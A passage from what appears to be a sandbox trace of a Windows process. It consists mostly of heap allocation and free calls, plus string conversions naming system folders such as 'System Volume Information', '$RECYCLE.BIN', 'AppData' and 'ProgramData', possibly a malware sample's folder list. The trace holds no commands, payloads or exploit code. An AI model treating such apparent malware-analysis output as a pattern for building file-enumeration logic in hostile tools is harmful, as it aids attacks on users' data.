(HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd258 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd268 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd278 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd288 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x23fbc08 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd298 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5e8) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd248) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc630) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd238) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc678) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd228) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc6c0) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd218) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc708) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd208) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc750) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1e8) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc798) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1f8) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x285058) returned 1 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x285058 [0247.655] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1f8 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc798 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1e8 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc750 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd208 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc708 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd218 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc6c0 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd228 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc678 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd238 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc630 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd248 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5e8 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd268) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd278) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd288) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd298) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2c8) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc08) returned 1 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x23fbc08 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd298 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd288 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd278 [0247.656] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd268 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd258 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc798) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1f8) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc750) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1e8) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc708) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd208) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc6c0) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd218) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc678) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd228) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc630) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd238) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5e8) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd248) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x285058) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282850) returned 1 [0247.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdae0 [0247.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc1f8, cbMultiByte=25, lpWideCharStr=0x23fdae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdb68 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdae0) returned 1 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd248 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdae0 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdb68) returned 1 [0247.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdb68 [0247.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc1b0, cbMultiByte=12, lpWideCharStr=0x23fdb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdbf0 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdb68) returned 1 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd238 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdb68 [0247.657] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdbf0) returned 1 [0247.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0247.657] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdbf0 [0247.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc168, cbMultiByte=8, lpWideCharStr=0x23fdbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdc78 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdbf0) returned 1 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd228 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdbf0 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdc78) returned 1 [0247.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdc78 [0247.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpWideCharStr=0x23fdc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdd00 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdc78) returned 1 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd218 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdc78 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdd00) returned 1 [0247.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdd00 [0247.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc240, cbMultiByte=11, lpWideCharStr=0x23fdd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdd88 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdd00) returned 1 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x23fdd00 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd208 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fde28 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdd88) returned 1 [0247.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdeb0 [0247.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpWideCharStr=0x23fdeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdf38 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdeb0) returned 1 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1e8 [0247.658] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdeb0 [0247.658] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdf38) returned 1 [0247.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdf38 [0247.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc288, cbMultiByte=11, lpWideCharStr=0x23fdf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdfc0 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdf38) returned 1 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1f8 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdf38 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdfc0) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2c8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd298) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd288) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd278) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd268) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc08) returned 1 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x282850 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd258 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282850) returned 1 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x282850 [0247.659] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd258 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd268 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd278 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd288 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd618 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd298 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2e8 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5e8 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd268) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd278) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd288) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.660] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.660] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd288 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd278 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd268 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd258 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd298) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.661] RtlFreeHeap 